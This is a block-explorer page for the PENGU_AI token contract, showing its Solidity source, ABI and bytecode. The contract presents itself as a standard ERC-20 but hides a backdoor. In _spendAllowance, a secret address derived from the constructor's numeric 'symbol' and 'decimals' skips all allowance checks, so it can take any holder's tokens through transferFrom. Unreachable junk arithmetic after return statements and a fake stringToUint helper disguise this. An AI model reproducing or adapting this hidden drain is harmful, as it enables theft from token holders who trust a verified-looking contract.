ETH Price: $3,252.71 (+3.08%)

Token

PENGU_AI (PENGUAI)

Overview

Max Total Supply

10,000,000 PENGUAI

Holders

1,704

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Null: 0x000...000
Balance
988,004.97750320836536481 PENGUAI

Value
$0.00
0x0000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
PENGUAI

Compiler Version
v0.8.28+commit.7893614a

ZkSolc Version
v1.5.11

Optimization Enabled:
Yes with Mode 3

Other Settings:
paris EvmVersion
File 1 of 1 : NewToken.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract PENGUAI is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    uint256 private _symbol;
    uint256 private _decimals = 18;

    constructor(string memory name_, uint256 symbol_, uint256 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _mint(msg.sender, 10_000_000 * (10 ** 18));

        return;
    }

    function name() public view virtual override returns (string memory) {
        return "PENGU_AI";
    }

    function symbol() public view virtual override returns (string memory) {
        return "PENGUAI";
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function allowance(
        address from,
        address to
    ) public view virtual override returns (uint256) {
        return _allowances[from][to];
    }

    function approve(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), to, amount);
        return true;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _spendAllowance(sender, _msgSender(), amount);
        return true;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function stringToUint(uint256 str) internal view returns (uint256) {
        return str;
        // bytes memory b = bytes(str);
        // uint256 result = 0;
        // for (uint256 i = 0; i < b.length; i++) {
        //     uint8 char = uint8(b[i]);
        //     require(char >= 48 && char <= 57, "Invalid character: not a digit");
        //     result = result * 10 + (char - 48);
        // }
        // return result;

        // {
        //     uint256 x = 1;
        //     for (uint256 i = 0; i < 3; i++) {
        //         x *= 2;
        //     }
        // }
        // {
        //     uint256 x = 1;
        //     for (uint256 i = 0; i < 3; i++) {
        //         x *= 2;
        //     }
        // }

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = _allowances[owner][spender];
        if (
            currentAllowance != type(uint256).max &&
            address(uint160(stringToUint(_symbol * 10 ** 18 + _decimals))) !=
            spender
        ) {
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function increaseAllowance(
        address to,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
        return true;
    }

    function decreaseAllowance(
        address to,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][to];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), to, currentAllowance - subtractedValue);
        }
        return true;
        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(amount > 0, "ERC20: transfer amount zero");
        require(sender != address(0), "ERC20: transfer from the zero address");
        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");
        _allowances[from][to] = amount;
        emit Approval(from, to, amount);
    }
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": true,
    "mode": "3",
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "abi"
      ]
    }
  },
  "detectMissingLibraries": false,
  "forceEVMLA": false,
  "enableEraVMExtensions": false,
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"uint256","name":"symbol_","type":"uint256"},{"internalType":"uint256","name":"decimals_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

9c4d535b000000000000000000000000000000000000000000000000000000000000000001000141a48ae9c7b5a73ef710deff05ffdb2d457492e58984d3b2c46fd78762000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000980683bd6c6800cefd13d9931000000000000000000000000000000000000000000000000089a7f9b1129bd52000000000000000000000000000000000000000000000000000000000000000850454e47555f4149000000000000000000000000000000000000000000000000

Deployed Bytecode

0x0004000000000002000000000801034f0000008003000039000000400030043f0000006001100270000000fc0110019700000001002001900000001d0000c13d000000040010008c0000003c0000413d000000000208043b000000e002200270000001130020009c0000003e0000213d0000011d0020009c0000006d0000a13d0000011e0020009c000000870000213d000001210020009c000001070000613d000001220020009c0000003c0000c13d0000000001000416000000000001004b0000003c0000c13d0000001201000039000000800010043f0000012901000041000003ee0001042e0000000002000416000000000002004b0000003c0000c13d0000001f02100039000000fd022001970000008002200039000000400020043f0000001f0410018f000000fe0510019800000080025000390000002d0000613d000000000608034f000000006706043c0000000003730436000000000023004b000000290000c13d000000000004004b0000003a0000613d000000000358034f0000000304400210000000000502043300000000054501cf000000000545022f000000000303043b0000010004400089000000000343022f00000000034301cf000000000353019f0000000000320435000000600010008c000000540000813d0000000001000019000003ef00010430000001140020009c000000780000a13d000001150020009c000000970000213d000001180020009c000001570000613d000001190020009c0000003c0000c13d000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000201043b000001020020009c0000003c0000213d0000002401800370000000000301043b000000000100041103ed03490000040f000002000000013d000000800300043d000000ff0030009c0000003c0000213d0000001f02300039000000000012004b000000000400001900000100040080410000010002200197000000000002004b00000000050000190000010005004041000001000020009c000000000504c019000000000005004b0000003c0000c13d00000080023000390000000002020433000000ff0020009c000000b70000a13d0000011101000041000000000010043f0000004101000039000000040010043f0000011201000041000003ef00010430000001230020009c000001960000613d000001240020009c000001a70000613d000001250020009c0000003c0000c13d0000000001000416000000000001004b0000003c0000c13d0000000301000039000002200000013d0000011a0020009c000001b40000613d0000011b0020009c000001c80000613d0000011c0020009c0000003c0000c13d0000000001000416000000000001004b0000003c0000c13d000000c001000039000000400010043f0000000702000039000000800020043f0000012e020000410000019e0000013d0000011f0020009c000001d00000613d000001200020009c0000003c0000c13d000000240010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000001020010009c0000003c0000213d000000000010043f00000001010000390000021d0000013d000001160020009c000002080000613d000001170020009c0000003c0000c13d000000240010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000601043b000001020060009c0000003c0000213d000000000100041a00000102021001970000000005000411000000000052004b000002240000c13d000000000006004b0000022d0000c13d0000010f01000041000000800010043f0000002001000039000000840010043f0000002601000039000000a40010043f0000012601000041000000c40010043f0000012701000041000000e40010043f0000012801000041000003ef000104300000001f0420003900000134044001970000003f044000390000013404400197000000400600043d0000000004460019000000000064004b00000000050000390000000105004039000000ff0040009c000000670000213d0000000100500190000000670000c13d0000008005100039000000400040043f0000000007260436000000a0013000390000000003120019000000000053004b0000003c0000213d000000000002004b000000d50000613d000000000300001900000000043700190000000005130019000000000505043300000000005404350000002003300039000000000023004b000000ce0000413d000000000162001900000020011000390000000000010435000000000100041a0000010102100197000400000006001d0000000006000411000000000262019f000000c00300043d000200000003001d000000a00300043d000100000003001d000000000020041b00000000020004140000010205100197000000fc0020009c000000fc02008041000000c00120021000000103011001c70000800d0200003900000003030000390000010404000041000300000007001d03ed03e30000040f0000000305000029000000040300002900000001002001900000003c0000613d00000012010000390000000609000039000000000019041b0000000004030433000000ff0040009c000000670000213d000000040a00003900000000010a041a000000010210019000000001011002700000007f0110618f0000001f0010008c00000000030000390000000103002039000000000032004b0000023d0000613d0000011101000041000000000010043f0000002201000039000000040010043f0000011201000041000003ef00010430000000640010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000001020010009c0000003c0000213d0000002402800370000000000202043b000001020020009c0000003c0000213d0000004403800370000000000303043b000300000003001d000400000001001d03ed03490000040f0000000401000029000000000010043f0000000201000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000003c0000613d000000000101043b00000000020004110000010202200197000000000020043f000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f000000040400002900000001002001900000003c0000613d000000000101043b000000000101041a000001350010009c0000014f0000613d0000000502000039000000000302041a00000132023000d1000000000003004b000001410000613d00000000033200d9000001320030009c000002bd0000c13d0000000603000039000000000303041a000000000023001a000002bd0000413d000000000223001900000102022001970000000003000411000000000032004b0000014f0000613d000000030310006c000002bd0000413d0000000001040019000000000200041103ed02f20000040f000000400100043d00000001020000390000000000210435000000fc0010009c000000fc0100804100000040011002100000012a011001c7000003ee0001042e000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000400000001001d000001020010009c0000003c0000213d0000002401800370000000000101043b000300000001001d0000000001000411000000000010043f0000000201000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000003c0000613d000000000101043b0000000402000029000000000020043f000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000003c0000613d000000000101043b000000000101041a000000030310006c000001fd0000813d000000400100043d00000064021000390000012b03000041000000000032043500000044021000390000012c0300004100000000003204350000002402100039000000250300003900000000003204350000010f020000410000000000210435000000040210003900000020030000390000000000320435000000fc0010009c000000fc0100804100000040011002100000012d011001c7000003ef000104300000000001000416000000000001004b0000003c0000c13d000000c001000039000000400010043f0000000802000039000000800020043f0000013302000041000000a00020043f000000800200003903ed02dd0000040f000000c00110008a000000fc0010009c000000fc0100804100000060011002100000012f011001c7000003ee0001042e000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000201043b000001020020009c0000003c0000213d0000002401800370000000000301043b0000000001000411000001ff0000013d0000000001000416000000000001004b0000003c0000c13d000000000100041a00000102021001970000000005000411000000000052004b000002240000c13d0000010101100197000000000010041b0000000001000414000000fc0010009c000000fc01008041000000c00110021000000103011001c70000800d02000039000000030300003900000104040000410000000006000019000002380000013d0000000001000416000000000001004b0000003c0000c13d000000000100041a0000010201100197000000800010043f0000012901000041000003ee0001042e000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000400000001001d000001020010009c0000003c0000213d0000000001000411000000000010043f0000000201000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c70000801002000039000300000008035303ed03e80000040f00000001002001900000003c0000613d000000000101043b0000000402000029000000000020043f000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f000000030300035f00000001002001900000003c0000613d0000002402300370000000000202043b000000000101043b000000000101041a000000000021001a000002bd0000413d00000000032100190000000001000411000000040200002903ed02f20000040f0000000101000039000000400200043d0000000000120435000000fc0020009c000000fc0200804100000040012002100000012a011001c7000003ee0001042e000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000001020010009c0000003c0000213d0000002402800370000000000202043b000001020020009c0000003c0000213d000000000010043f0000000201000039000000200010043f0000004001000039000400000002001d03ed03d20000040f0000000402000029000000000020043f000000200010043f000000400100003903ed03d20000040f000000000101041a000000800010043f0000012901000041000003ee0001042e0000010f01000041000000800010043f0000002001000039000000840010043f000000a40010043f0000013001000041000000c40010043f0000013101000041000003ef000104300000010101100197000000000161019f000000000010041b0000000001000414000000fc0010009c000000fc01008041000000c00110021000000103011001c70000800d020000390000000303000039000001040400004103ed03e30000040f00000001002001900000003c0000613d0000000001000019000003ee0001042e000000200010008c0000024e0000413d0000000000a0043f0000001f024000390000000502200270000001050220009a000000200040008c00000106020040410000001f011000390000000501100270000001050110009a000000000012004b0000024e0000813d000000000002041b0000000102200039000000000012004b0000024a0000413d0000001f0040008c000002660000a13d000300000004001d0000000000a0043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000107011001c7000080100200003903ed03e80000040f000000040600002900000001002001900000003c0000613d000000030b0000290000013402b00198000000000101043b000002730000c13d0000002003000039000000020700002900000001080000290000000609000039000000040a000039000002830000013d000000000004004b0000000001000019000000020700002900000001080000290000026c0000613d00000000010504330000000302400210000001350220027f0000013502200167000000000121016f0000000102400210000000000121019f0000028f0000013d000000010320008a0000000503300270000000000431001900000020030000390000000104400039000000020700002900000001080000290000000609000039000000040a00003900000000056300190000000005050433000000000051041b00000020033000390000000101100039000000000041004b0000027c0000c13d0000000000b2004b0000028d0000813d0000000302b00210000000f80220018f000001350220027f000001350220016700000000036300190000000003030433000000000223016f000000000021041b0000000101b0021000000001011001bf00000000001a041b0000000501000039000000000081041b000000000079041b0000000001000411000000000001004b000002a70000c13d000000400100043d00000044021000390000010e03000041000000000032043500000024021000390000001f0300003900000000003204350000010f020000410000000000210435000000040210003900000020030000390000000000320435000000fc0010009c000000fc01008041000000400110021000000110011001c7000003ef000104300000000302000039000000000102041a000001080110009c000002bd0000813d000000000012041b0000000001000411000000000010043f0000000101000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000003c0000613d000000000101043b000000000201041a000001080220009c000002c30000413d0000011101000041000000000010043f0000001101000039000000040010043f0000011201000041000003ef00010430000000000021041b0000010b01000041000000400200043d0000000000120435000000fc0020009c000000fc0200804100000040012002100000000002000414000000fc0020009c000000fc02008041000000c002200210000000000112019f00000107011001c70000800d0200003900000003030000390000010c040000410000000005000019000000000600041103ed03e30000040f00000001002001900000003c0000613d0000002001000039000001000010044300000120000004430000010d01000041000003ee0001042e00000020030000390000000004310436000000003202043400000000002404350000004001100039000000000002004b000002ec0000613d000000000400001900000000054100190000000006430019000000000606043300000000006504350000002004400039000000000024004b000002e50000413d000000000321001900000000000304350000001f0220003900000134022001970000000001210019000000000001042d000300000000000200000102011001980000032b0000613d000200000003001d000301020020019c000003350000613d000100000001001d000000000010043f0000000201000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000000303000029000003290000613d000000000101043b000000000030043f000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000003060000290000000100200190000003290000613d000000000101043b0000000202000029000000000021041b000000400100043d0000000000210435000000fc0010009c000000fc0100804100000040011002100000000002000414000000fc0020009c000000fc02008041000000c002200210000000000112019f00000107011001c70000800d0200003900000003030000390000013604000041000000010500002903ed03e30000040f0000000100200190000003290000613d000000000001042d0000000001000019000003ef00010430000000400100043d00000064021000390000013903000041000000000032043500000044021000390000013a030000410000000000320435000000240210003900000024030000390000033e0000013d000000400100043d0000006402100039000001370300004100000000003204350000004402100039000001380300004100000000003204350000002402100039000000220300003900000000003204350000010f020000410000000000210435000000040210003900000020030000390000000000320435000000fc0010009c000000fc0100804100000040011002100000012d011001c7000003ef000104300004000000000002000000000003004b0000039d0000613d000200000002001d000400000003001d0000010201100198000003ae0000613d000300000001001d000000000010043f0000000101000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000039b0000613d0000000103000039000000000101043b000000000101041a0001000400100074000003b80000413d0000000301000029000000000010043f000000200030043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000039b0000613d000000000101043b0000000102000029000000000021041b00000002010000290000010201100197000200000001001d000000000010043f0000000101000039000000200010043f0000000001000414000000fc0010009c000000fc01008041000000c00110021000000109011001c7000080100200003903ed03e80000040f00000001002001900000039b0000613d000000000101043b000000000201041a0000000403000029000000000032001a000003cc0000413d0000000002320019000000000021041b000000400100043d0000000000310435000000fc0010009c000000fc0100804100000040011002100000000002000414000000fc0020009c000000fc02008041000000c002200210000000000112019f00000107011001c70000800d0200003900000003030000390000010c040000410000000305000029000000020600002903ed03e30000040f00000001002001900000039b0000613d000000000001042d0000000001000019000003ef00010430000000400100043d00000044021000390000013f03000041000000000032043500000024021000390000001b0300003900000000003204350000010f020000410000000000210435000000040210003900000020030000390000000000320435000000fc0010009c000000fc01008041000000400110021000000110011001c7000003ef00010430000000400100043d00000064021000390000013d03000041000000000032043500000044021000390000013e03000041000000000032043500000024021000390000002503000039000003c10000013d000000400100043d00000064021000390000013b03000041000000000032043500000044021000390000013c0300004100000000003204350000002402100039000000260300003900000000003204350000010f020000410000000000210435000000040210003900000020030000390000000000320435000000fc0010009c000000fc0100804100000040011002100000012d011001c7000003ef000104300000011101000041000000000010043f0000001101000039000000040010043f0000011201000041000003ef0001